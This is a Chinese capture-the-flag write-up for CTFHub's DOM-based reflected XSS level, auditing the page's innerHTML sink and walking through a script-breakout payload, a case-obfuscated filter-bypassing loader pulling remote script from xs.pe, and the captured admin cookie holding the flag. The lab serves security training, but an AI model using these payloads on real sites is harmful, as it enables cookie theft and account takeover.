CTFHub XSS通关3:DOM型XSS-反射

目录

一、代码审计

1、源码分析

2、核心功能模块

[(1) 文本输入功能](#(1) 文本输入功能)

(2)Bot模拟测试功能

3、构造闭合

(1)分析原始代码

(2)Payload的逐步拆解

(3)可视化流程

二、XSS平台

1、XSS平台简介

(1)前端界面

(2)后端服务

2、XSS平台使用

(1)注册账号

(2)登录账号

(3)创建项目

二、DOM反射型渗透实战

[1、XSS DOM Reflect探测](#1、XSS DOM Reflect探测)

2、构造闭合

[3、Send URL to Bot](#3、Send URL to Bot)

4、XSS平台渗透

(1)输入框1

(2)输入框2


本文详细讲解CTFHub的XSS-OM反射型关卡的渗透实战。首先通过代码审计发现前端使用innerHTML直接渲染用户输入,存在DOM型XSS注入风险。随后利用闭合构造payload成功弹窗,验证了XSS风险存在。接着使用XSS平台生成窃取Cookie的恶意脚本,通过反射型XSS获取管理员Cookie。最终在XSS平台接收端成功获取到包含flag的Cookie值,完成渗透测试。

  • 首先通过代码审计发现前端使用innerHTML直接渲染用户输入,存在DOM型XSS注入风险

  • 构造测试Payload:';</script><script>alert(ljn)</script>验证XSS注入存在可行性

  • 确认XSS注入风险存在后,在XSS平台生成专业的Cookie窃取脚本

  • 将平台提供的恶意脚本嵌入到闭合Payload中,形成完整攻击代码

  • 对完整Payload进行URL编码,生成可直接访问的恶意链接

  • 通过关卡提供的Bot提交功能将恶意URL发送给管理员

  • 管理员浏览器访问链接时触发XSS,自动执行Cookie窃取脚本

  • 窃取脚本将document.cookie发送到XSS平台的接收端

  • 在XSS平台管理界面实时查看收到的Cookie数据

  • 从Cookie中提取flag值并提交,完成整个渗透测试流程

一、代码审计

1、源码分析

打开靶场,进入XSS-DOM反射型关卡,如下所示。

右键查看源代码,这是一个DOM型XSS注入挑战平台,用户通过GET参数提交文本内容,前端使用innerHTML直接渲染到页面而未做过滤,存在明显XSS注入风险。平台还提供Bot测试功能,可将构造的恶意URL提交给模拟浏览器验证攻击效果。具体如下所示。

复制代码
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>CTFHub 技能学习 | XSS DOM Reflex
    </title>
    <link rel="stylesheet" href="/static/bootstrap.min.css">
    <!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries -->
    <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
    <!--[if lt IE 9]>
    <script src="https://cdn.bootcss.com/html5shiv/3.7.3/html5shiv.min.js"></script>
    <script src="https://cdn.bootcss.com/respond.js/1.4.2/respond.min.js"></script>
    <![endif]-->
    <script src="/static/jquery.min.js"></script>
    <script src="/static/popper.min.js"></script>
    <script src="/static/bootstrap.min.js"></script>
</head>

<body>
    <div class="container">
        <div class="jumbotron text-center">
            <h1>
                XSS DOM Reflex
            </h1>
            <hr>
            <!-- Alert -->
            <div id="alert">
                <div id="success" class="alert alert-success" role="alert" style="display: none;"></div>
                <div id="fail" class="alert alert-danger" role="alert" style="display: none;"></div>
            </div>
            <!-- Body -->
            <div>
                <form action="" method="GET">
    <div class="input-group mb-3">
        <div class="input-group-prepend">
            <span class="input-group-text">CHange text</span>
        </div>
        <input type="text" class="form-control" placeholder="CTFHub is very niubility" name="text">
        <div class="input-group-append">
            <input type="submit" value="Submit" class="btn btn-success">
        </div>
    </div>
</form>
<!-- Output -->
<hr>
<div>
    <h1>Hello, CTFHub
    </h1>
    <p id="text"></p>
    <script>
        $("#text")[0].innerHTML = 'CTFHub is very niubility';
    </script>
</div>
<hr>
            </div>
            <!-- Submit -->
            <div>
                <h2>Send URL to Bot</h2>
<div class="input-group mb-3">
    <div class="input-group-prepend">
        <span class="input-group-text">URL</span>
    </div>
    <input type="text" class="form-control" id="url" name="url">
    <div class="input-group-append">
        <input type="button" id="Send" value="Send" class="btn btn-success" onclick="send()">
    </div>
    <script>
        function send() {
            let url = $("#url").val()
            $.ajax({
                type: "post",
                url: "/submit",
                dataType: "json",
                contentType: "application/json",
                data: JSON.stringify({
                    url: url
                }),
                success: function (d) {
                    if (d.code == -1) {
                        $("#fail").text(d.msg)
                        $("#fail").show();
                        setTimeout(function () {
                            $("#fail").hide();
                        }, 5000);
                    } else if (d.code == 0) {
                        $("#success").text(d.msg)
                        $("#success").show();
                        setTimeout(function () {
                            $("#success").hide();
                        }, 5000);
                    }
                }
            });
        }
    </script>
</div>
            </div>
        </div>
    </div>
</body>

</html>

2、核心功能模块

本关卡提供DOM型XSS学习功能,包含文本输入和Bot测试两大模块。用户可通过表单提交文本内容实时查看页面渲染效果,并可将构造的恶意URL提交给模拟Bot进行攻击验证。系统通过AJAX异步通信反馈操作结果,完整演示了从攻击构造到效果验证的XSS学习流程。

(1) 文本输入功能

  • 输入 :通过GET参数text接收用户输入

  • 处理 :使用jQuery的innerHTML直接插入到DOM中

  • 输出 :在页面<p id="text">元素中显示用户输入的内容

  • 风险:存在DOM型XSS,未对用户输入进行过滤

(2)Bot模拟测试功能

  • URL提交:用户可提交包含XSS payload的URL

  • 异步发送 :通过AJAX POST请求到/submit端点

  • 状态反馈:使用彩色alert显示成功/失败消息

  • 自动隐藏:5秒后自动隐藏反馈消息

3、构造闭合

Payload:';</script><script>alert("ljn")</script>

(1)分析原始代码

首先,我们看页面中关键的脆弱代码:

复制代码
$("#text")[0].innerHTML = 'CTFHub is very niubility';

在这行代码中:

  • 程序意图是将 id="text" 的HTML元素的内容设置为一个字符串'CTFHub is very niubility'

  • 这个字符串是使用单引号(') 包裹的。

  • 这个字符串的值本应是固定的,但程序实际上是从URL参数 text 中动态获取的。

所以,当用户通过 ?text=xxx 传入参数时,代码实际上变成了:

复制代码
$("#text")[0].innerHTML = '用户输入的xxx';

(2)Payload的逐步拆解

我们的Payload是:';</script><script>alert("ljn")</script>

我们把它代入到上面的代码中,看看发生了什么:

原始代码:$("#text")[0].innerHTML = '用户输入的xxx';

代入Payload后:$("#text")[0].innerHTML = '';</script><script>alert("ljn")</script>';

现在,我们来逐部分解析:

  • ';

    • ' :这个单引号首先闭合 了原本开启的字符串 '...'

    • ; :这个分号终止 了当前的JavaScript语句 (innerHTML = '';)。

    • 至此,我们已经成功地"逃出"了字符串的束缚,并结束了一条合法的JavaScript语句。

  • </script>

    • 这只是一个普通的HTML标签。在JavaScript解析器看来,它可能是无效的语法。

    • 但它的关键作用在于:告诉浏览器"当前的脚本块到此结束"。

    • 浏览器看到这个标签后,会认为前面的 <script> 标签内的内容已经结束,并退出JavaScript解析模式,回到HTML解析模式

  • <script>alert("ljn")</script>

    • 现在浏览器处于HTML解析模式,它看到了一个新的 <script> 标签。

    • 于是,它会开启一个新的JavaScript解析上下文 ,并执行其中的代码:alert("ljn")

    • 这是一个完整、合法且会被执行的脚本块。

  • 最后的 '

    • 在新脚本块结束后,源代码中还有一个孤零零的单引号 '

    • 此时浏览器已经在新脚本块中执行了我们的恶意代码。

    • 这个多出来的单引号会导致语法错误,但为时已晚,我们的恶意代码已经执行完毕。这个错误通常会被浏览器静默处理,不影响攻击效果。

(3)可视化流程

整个DOM的变化可以理解为:

复制代码
<script>
    $("#text")[0].innerHTML = '';         // 原语句被提前闭合和终止
</script>                                 // 关闭原有的脚本块
<script>alert("ljn")</script>             //开启并执行新的恶意脚本块
';                                        // 剩余的无效代码,导致错误但无关紧要

综上这种闭合方式的原理在于:

  • 语法闭合 :使用 '; 来正确闭合原有的js字符串和语句,避免语法错误提前终止脚本。

  • 上下文切换:利用</script>标签强制结束当前的JavaScript执行环境,切换回HTML解析器。

  • 重新注入:通过一个新的</script>标签,在一个"干净"的上下文环境中注入并执行任意JavaScript代码。

二、XSS平台

1、XSS平台简介

XSS 平台是一种专门用于跨站脚本攻击测试和安全研究的 Web 应用程序。它为安全研究人员和白帽子黑客提供模拟真实攻击的环境,用于演示和验证 Web 应用程序中可能存在的跨站脚本相关风险。平台核心功能包括生成并管理各种 XSS 攻击载荷(Payload)、自动收集受害者浏览器的敏感信息(如 Cookie、会话令牌、浏览器指纹等),并提供远程代码执行能力。该平台强调合法与授权使用,通常用于渗透测试、安全教学等场景,是 Web 安全领域重要的教育和研究工具。其主要组成部分如下所示。

(1)前端界面

  • 攻击管理面板 - 创建、监控攻击活动

  • 数据展示界面 - 实时显示收集的信息

  • Payload生成器 - 定制化攻击代码

(2)后端服务

  • 数据接收端点 - 处理受害者发回的数据

  • Payload分发 - 动态生成恶意脚本

  • 会话管理 - 维持攻击者控制会话

2、XSS平台使用

(1)注册账号

本文以https://xssaq.com/为例,讲解如何在渗透测试场景下使用XSS平台。

(2)登录账号

使用注册的账号登录,如下所示。

登录后效果如下所示,注意左侧菜单栏中的"创建项目"选项,这是我们会用到的功能。

(3)创建项目

点击左侧菜单栏中的"创建项目",随便起个名字"mooyuan",点击立即提交,如下所示。

在"我的的项目"点击刚才创建的项目"mooyuan",再点击右上角的查看配置源码,如下图所示。

此时网页弹框如下所示,我们需要在配置代码中选择自己要使用的脚本,这里我们选择第二个即可,如下所示(特别注意:每个人的payload各不相同)。

<sCRiPt sRC=//xs.pe/YxF></sCrIpT>

二、DOM反射型渗透实战

1、XSS DOM Reflect探测

打开靶场,在关卡页面中寻找所有可能的用户输入点,在第一个输入框内尝试输入最简单的测试载荷<script>alert("ljn")</script>,并观察页面响应,但是弹框失败。

<script>alert("ljn")</script>

2、构造闭合

尝试构造闭合:**';</script><script>alert("ljn")</script>**进行渗透,利用了浏览器解析HTML和JavaScript的优先级:HTML解析优先于JavaScript执行,当遇到</script>标签时,浏览器会立即结束当前的脚本块,然后开始解析新的<script>标签。

|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 原始:("#text")\[0\].innerHTML = '\<用户输入\>'; 注入后: \ ("#text")[0].innerHTML = ''; // 语句提前结束 </script> // 结束当前script块 <script>alert("ljn")</script>'; // 新script块执行恶意代码 |

执行后语句:$("#text")[0].innerHTML = '';</script><script>alert("ljn")</script>';

如下所示闭合构造成功,点击send后成功弹窗,说明有XSS注入风险。

点击确定后进入如下页面,此时XSS反射链接的URL地址如下所示。

http://challenge-e2c7533457190462.sandbox.ctfhub.com:10800/?text='%3B<%2Fscript><script>alert("ljn")<%2Fscript>

3、Send URL to Bot

在CTF中,反射型XSS通常需要管理员触发。将上一步构造好的完整恶意URL提交给平台提供的"模拟管理员"或"机器人"进行访问,即复制XSS反射攻击URL到send URL to Bot对应的地址框中,如下所示。

这里我模拟一下执行,换个浏览器,执行刚刚的XSS攻击链接地址成功弹窗,就相当于让BOT执行我刚刚这个换浏览器访问XSS攻击的链接一样。如下所示,执行成功,反射型注入XSS的URL如下所示。

http://challenge-e2c7533457190462.sandbox.ctfhub.com:10800/?text='%3B<%2Fscript><script>alert("ljn")<%2Fscript>

4、XSS平台渗透

接下来的目标是构造能窃取Cookie的有效载荷,由于最终目标是获取管理员Cookie,故而我们不能使用弹窗,而是需要将Cookie外带到自己的服务器。这时候我们就需要一个接收并记录Cookie信息的XSS服务器,本部分部分我们使用XSS平台中的收集cookie功能,如下所示。

<sCRiPt sRC=//xs.pe/YxF></sCrIpT>

  • 标签选择 :没有使用常见的 <script>alert(1)</script>,而是选择了 <script src="...">。这指示浏览器从外部源(//xs.pe/YxF)加载并执行JavaScript代码。这样做的好处是载荷非常短,且攻击逻辑可以全部放在外部脚本中,便于维护和更新。

  • 大小写混淆 :将 script 写成了 sCRiPtsCrIpT。这是一种简单的绕过技术 ,用于规避那些只进行简单大小写匹配(如查找 <script)的初级WAF(Web应用防火墙)或输入过滤器。

  • 属性简化

    • sRC 而不是 src:同样是大小写混淆。

    • 属性值没有加引号:sRC=//xs.pe/YxF 而不是 src="//xs.pe/YxF"。这在HTML中是允许的,能减少特殊字符,有时也能绕过对引号的检查。

  • 协议相对URL :使用 //xs.pe/YxF 而不是 http://xs.pe/YxFhttps://xs.pe/YxF。这意味着脚本会使用当前页面相同的协议(HTTP或HTTPS)来加载,兼容性更好,无论挑战页面是HTTP还是HTTPS都能成功加载恶意脚本。

(1)输入框1

输入基于XSS安全平台提供的payload,在第一个输入框**';</script>** <sCRiPt sRC=//xs.pe/YxF></sCrIpT>输入后点击send,如下所示。

复制代码
';</script><sCRiPt sRC=//xs.pe/YxF></sCrIpT>

记录反射XSS的恶意URL地址,如下所示。

http://challenge-a4bbf587db70c127.sandbox.ctfhub.com:10800/?text='%3B<%2Fscript><sCRiPt+sRC%3D%2F%2Fxs.pe%2FYxF><%2FsCrIpT>

(2)输入框2

在第二个文本框内输入上一步生成的获取cookie的反射型XSS链接地址,点击send返回successfully。此步骤的目的是将构造好的完整恶意URL(窃取Cookie载荷)提交给平台提供的"模拟管理员"或"机器人"进行访问。一旦管理员浏览器加载此URL,其中的脚本就会自动执行,将其Cookie悄无声息地发送到你在上一步骤中搭建的接收服务器上。

观察XSS平台,如下说明服务器已收到cookie。

点击查看如下所示,找到管理员的Cookie即可成功获取到flag值。

其详细信息如下所示。

|--------------------|-------------------------------------------------------------------------------------------------------------------------------------------|
| 记录ID | 631064 |
| 首次触发时间 | 2025-10-28 17:59:26 |
| 最后触发时间 | 2025-10-28 17:59:26 |
| 触发者IP | 1.83.158.14 |
| 页面标题 | CTFHub 技能学习 | XSS DOM Reflex |
| 触发TOP_URL | http://challenge-a4bbf587db70c127.sandbox.ctfhub.com:10800/?text='%3B<%2Fscript><sCRiPt+sRC%3D%2F%2Fxs.pe%2FYxF><%2FsCrIpT> |
| 触发URL | http://challenge-a4bbf587db70c127.sandbox.ctfhub.com:10800/?text='%3B<%2Fscript><sCRiPt+sRC%3D%2F%2Fxs.pe%2FYxF><%2FsCrIpT> |
| 浏览器分辨率 | 800*600 |
| referrer | |
| User Agent | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/112.0.5615.138 Safari/537.36 |
| Cookies | flag=ctfhub{232e819e8cabb83d37db28c4} |
| localStorage | {} |
| sessionStorage | {} |

相关推荐
mooyuan天天19 小时前
CTFHub XSS通关:XSS-过滤关键词
xss·关键字过滤·ctfhub·xss漏洞
mooyuan天天4 天前
CTFHub XSS通关1:反射型
反射型xss·ctfhub·xss漏洞·xss平台
mooyuan天天4 天前
CTFHub XSS通关2:存储型
ctfhub·xss漏洞·存储型xss·xss平台
mooyuan天天1 个月前
CTFHub 信息泄露通关笔记10:SVN泄露(2种方法)
web安全·信息泄露·ctfhub·svn泄露·源码泄露·dvcs ripper
mooyuan天天1 个月前
CTFHub 信息泄露通关笔记8:Git泄露 Stash(两种方法渗透)
git stash·信息泄露·ctfhub·git泄露
mooyuan天天1 个月前
CTFHub 信息泄露通关笔记2:PHPINFO泄露
信息泄露·ctfhub·phpinfo泄露·phpinfo
mooyuan天天1 个月前
CTFHub 信息泄露通关笔记5:备份文件下载 vim文件
信息泄露·ctfhub·vim信息泄露·swp信息泄露
mooyuan天天1 个月前
CTFHub 信息泄露通关笔记9:Git泄露 Index
信息泄露·ctfhub·git泄露·githack
mooyuan天天1 个月前
CTFHub RCE通关笔记6:命令注入
rce·命令注入·ctfhub·命令注入漏洞